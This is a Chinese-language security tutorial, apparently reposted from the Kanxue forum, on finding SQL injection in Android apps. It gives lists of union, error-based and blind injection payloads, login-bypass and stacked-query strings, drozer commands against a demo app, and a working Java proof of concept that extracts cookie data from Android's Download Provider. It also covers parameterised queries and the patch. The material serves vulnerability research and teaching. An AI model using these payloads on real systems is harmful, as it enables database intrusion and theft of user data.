本文为看雪论坛优秀文章
看雪论坛作者ID:随风而行aa
一
简介
本文主要讲述Android中存在的常见的SQL注入漏洞的方式,以及如何快速的挖掘SQL注入漏洞。
二
SQL漏洞原理介绍
order by //确定列数
union select 1,2,3 //显示回显位
union select 1,database(),user() //通过回显位爆出内容
union select 1,2,group_concat(schema_name) from information_schema.schemata //爆库
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() //爆表
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema=database() //爆列
union select 1,2,group_concat(列名) from 表名 //爆值
extractvalue(1,concat(0x7e,(select user()),0x7e)) //extractvalue报错将输出的字符长度限制为32位
updatexml(1,concat(0x7e,(select database()),0x7e),1) //updatexml报错将输出的字符长度限制为32位
select count(\*) from information_schema.tables GROUP BY concat((select database()),floor(rand(0)\*2)) //floor报错将输出字符长度限制为64个字符
length(database()) //判断数据库名长度
ascii(substr((database()),s,1))=可用ASCII码值 //从数据库库名第s位开始,截取一位,进行逐一猜解;数据库库、表、字段所有名称的可用字符范围为A-Z、a-z、0-9和下划线,也就是ASCII码值从48到122
length((select table_name from information_schema.tables where table_schema=database() limit 3,1)) //判断数据库中的第4个表表名长度,第1个表从0开始
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),s,1))=可用ASCII码值 //逐一猜解第4个表的表名
//之后逐一猜解列名与数据
sleep() //使用延时函数进行判断
if(length(database())=数字,sleep(2),0) //if()函数判断数据库长度,if(Condition,A,B),当Condition为true时返回A,当Condition为false时返回B
if(ascii(substr(database(),s,1))=可用ASCII码值,sleep(2),0) //使用if函数,从第S位开始截取一位,逐一猜解数据库名,可用ASCII码值范围为48-122
if(length(select table_name from information_schema.tables where table_schema=database() limit 3,1)=数字,sleep(2),0) //逐一猜解数据库第4个表长度,第1个表从0开始
if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),s,1))=可用ASCII码值,sleep(2),0) //逐一猜解数据库第4个表表名
//逐一猜解列名、数据
Select * from table where table_ID = '1' or '1=1'--'AND table_password='1234';
SELECT pass FROM userTable WHEREuser_ld='user1" AND Password = 0; drop userTable
SELECT*FROM userTable WHEREuser_ld=’1111’ AND password='1234’ AND CONVERT(char, no)
SELECT* FROM userTable WHEREuser_ld=1111'UNION SELECT *FROMmemberTable WHERE member_ld='admin'--' AND password='1234';
SELECT Username FROM UserTableWHEREuser_name= "user1" AND pass=" "; SHUTDOWN;
SELECT pass FROM userTable WHERE username='user' and 1 =0 -- AND pass = AND pin= 0
SELECT info FROM userTable WHERE username='user' and = 1 -- AND pass = AND pass= 0
declare @ varchar (8000) select @s =db_name (if (ascii (substring (@s,1,1))&(power (2,o) > o waitfor delay '0:0:5"
SELECT accounts FROM userTable WHERE login="AND pin=0; exec (char(0x73687574646f776e)
三
常见的SQL漏洞
Select * From 用户表 Where UserName=xxx and Password=xxx
" WHERE NAME='" + username + "' AND PASSWORD='" + password + "'"
SELECT * FROM employee WHERE NAME='Admin' -- AND PASSWORD = 'xyz'
1=1
SELECT * FROM employee WHERE NAME='Admin' OR '1'='1' AND PASSWORD = 'anything' OR '1'='1'
SELECT * FROM employee WHERE NAME='anyname' OR '1'='1';INSERT INTO employee (NAME, ID) VALUES ('MUR','11451') -- AND PASSWORD = 'anything'
SELECT * FROM employee WHERE NAME='Admin'; AND PASSWORD = 'anything'
UPDATE employee SET NICKNAME=..., EMAIL =..., ADDRESS=..., PASSWORD =.., PHONE='...' WHERE ID = (...)
UPDATE employee SET NICKNAME=..., EMAIL =..., ADDRESS=..., PASSWORD =.., PHONE='21389', SALARY='100000000'
WHERE ID = (Alice.id)
21389', SALARY='100000000
UPDATE employee SET NICKNAME=..., EMAIL =..., ADDRESS=..., PASSWORD =.., PHONE='21389', SALARY=100000000
WHERE NAME = 'Boby' -- ' WHERE ID = (Alice.id)
21389', SALARY=10000000 WHERE NAME='Bobby' --
adb logcat |grep packagename
1' or '1' !='2
四
Content Provider上Sql注入漏洞
Content Provider组件是可导出的未校验输入值是否符舍规范,就作为SQL语句的一部分,例如:
String inputUserName = "123'or'1=1";
String inputPassword = "123";
String sql = "select *from user where username='"+inputUserName +"' and password='"+inputPassword+"'";
Cursor cursor = db.rawQuery(sql);
以上两点均满足的情况下,就会产生SQL注入风险
(1)扫描全局代码,是否存在导出的Content Provider组件
(2)若存在导出的Content Provider组件,则判断SQL语句中是否有未校验的输入值,若存在则存在风险。
(3)汇总结果
run scanner.provider.injection -a <包名>
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
run scanner.provider.sqltables -a com.mwr.example.sieve
String inputUserName = "xxxx";
String inputPassword = "xxxx";
String sql = "select *from user where username=? and password=?";
Cursor cursor = db.rawQuery(sql,new String[]{username,password});
五
Android Download Provider上sql注入漏洞
content://downloads/public_downloads/#
sURIMatcher.addURI("downloads",
Downloads.Impl.PUBLICLY_ACCESSIBLE_DOWNLOADS_URI_SEGMENT + "/#",
PUBLIC_DOWNLOAD_ID);
不需要权限:
content://downloads/public_downloads/#
需要权限android.permission.INTERNET:
content://downloads/my_downloads/
content://downloads/my_downloads/#
content://downloads/download/
content://downloads/download/#
adb shell content query --uri content://downloads/public_downloads/0 -- where "1=1) OR (1=1"
adb shell content query --uri content://downloads/public_downloads/0 -- where "1=1) AND (_id=1 AND cookiedata LIKE 'a%') OR (1=1"
adb shell content query --uri content://downloads/public_downloads/0 -- where "1=1) AND (SELECT header FROM request_headers WHERE _id=1) LIKE 'a%' OR (1=1"
private void dump(boolean dumpProtectedColumns) {
ContentResolver res = getContentResolver();
Uri uri = Uri.parse("content://downloads/public_downloads/#");
Cursor cur = null;
Log.e("WindXaa","ERROR: The device does not appear to be vulnerable1");
try {
//这里可以替换我们的sql注入构造语句
cur = res.query(uri, null, "1=1) OR (1=1", null, null);
} catch (IllegalArgumentException e) {
Log.e("WindXaa", "Error", e);
Log.e("WindXaa","ERROR: The device does not appear to be vulnerable");
//return;
}
try {
if (cur != null || cur.getCount() > 0) {
// Iterate all results and display some fields for each row from the downloads database
while (cur.moveToNext()) {
int rowId = cur.getInt(cur.getColumnIndex("_id"));
String rowData = cur.getString(cur.getColumnIndex("_data"));
String rowUri = cur.getString(cur.getColumnIndex("uri"));
String rowTitle = cur.getString(cur.getColumnIndex("title"));
String rowDescription = cur.getString(cur.getColumnIndex("description"));
String string = null;
StringBuilder sb = new StringBuilder(string);
sb.append("DOWNLOAD ID ").append(rowId);
sb.append("\nData: ").append(rowData);
sb.append("\nUri: ").append(rowUri);
sb.append("\nTitle: ").append(rowTitle);
sb.append("\nDescription: ").append(rowDescription);
if (dumpProtectedColumns) {
int uid = binarySearch(rowId, "uid");
sb.append("\nUID: ").append(uid);
dumpColumn(rowId, "CookieData", sb);
dumpColumn(rowId, "ETag", sb);
}
Log.w("WindXaa",sb.toString());
}
Log.e("WindXaa","\n\nDUMP FINISHED");
}
} finally {
if (cur != null)
cur.close();
}
}
private void dumpColumn(int rowId, String columnName, StringBuilder sb) {
if (isTrueCondition(rowId, "length(" + columnName + ") > 0")) {
int len = binarySearch(rowId, "length(" + columnName + ")");
sb.append("\n" + columnName + ": ");
for (int i = 1; i <= len; i++) {
int c = binarySearch(rowId, "unicode(substr(" + columnName + "," + i + ",1))");
String newChar = Character.toString((char) c);
sb.append(newChar);
}
}
}
private int binarySearch(int id, String sqlExpression) {
int min = 0;
int max = 20000;
int mid = 0;
while (min + 1 < max) {
mid = (int) Math.floor((double) (max + min) / 2);
if (isTrueCondition(id, sqlExpression + ">" + mid))
min = mid;
else
max = mid;
}
if ((mid == max) && isTrueCondition(id, sqlExpression + "=" + mid))
return mid;
else if (isTrueCondition(id, sqlExpression + "=" + (mid + 1))) // Extra check
return mid + 1;
return -1;
}
private boolean isTrueCondition(int rowId, String sqlCondition) {
ContentResolver res = getContentResolver();
Uri uri = Uri.parse("content://downloads/public_downloads/0");
Cursor cur = res.query(uri, new String[]{"_id"}, "_id=" + rowId + ") and (" +
sqlCondition + ") or (1=1", null, null);
try {
return (cur != null && cur.getCount() > 0);
} finally {
if (cur != null)
cur.close();
}
}
如果它没有破坏任何功能,请考虑添加被删除的行:
@Override
public query(final Uri uri, String[] projection,
final String selection, final String[] selectionArgs,
final String sort) {
Helpers.validateSelection(selection, sAppReadableColumnsSet);
columnName
limit
case when (condition) then 1 else 0 end
例如:
_id limit case when(
(select count(*) from downloads)>0
)
then 1 else 0 end
@Override
public Cursor query(final Uri uri, String[] projection,
final String selection, final String[] selectionArgs,
final String sort) {
...
if (shouldRestrictVisibility()) {
if (sort != null && sort.toLowerCase(Locale.ENGLISH).contains("limit"))
throw new IllegalArgumentException("invalid sort");
...
}
...
}
六
总结
七
参考文献
https://github.com/li-xin-yi/SQL-inject-demo
https://security-summer-labs.readthedocs.io/en/latest/lab8/readme.html#task-1-sql-injection-attack-on-select-statement
https://chowdera.com/2022/02/202202060538187242.html
https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve-2018-9468-cve-2018-9493-cve-2018-9546/
https://cloud.tencent.com/developer/article/1580824
https://zhuanlan.zhihu.com/p/367365614
https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve-2018-9468-cve-2018-9493-cve-2018-9546/
看雪ID:随风而行aa
https://bbs.pediy.com/user-home-905443.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!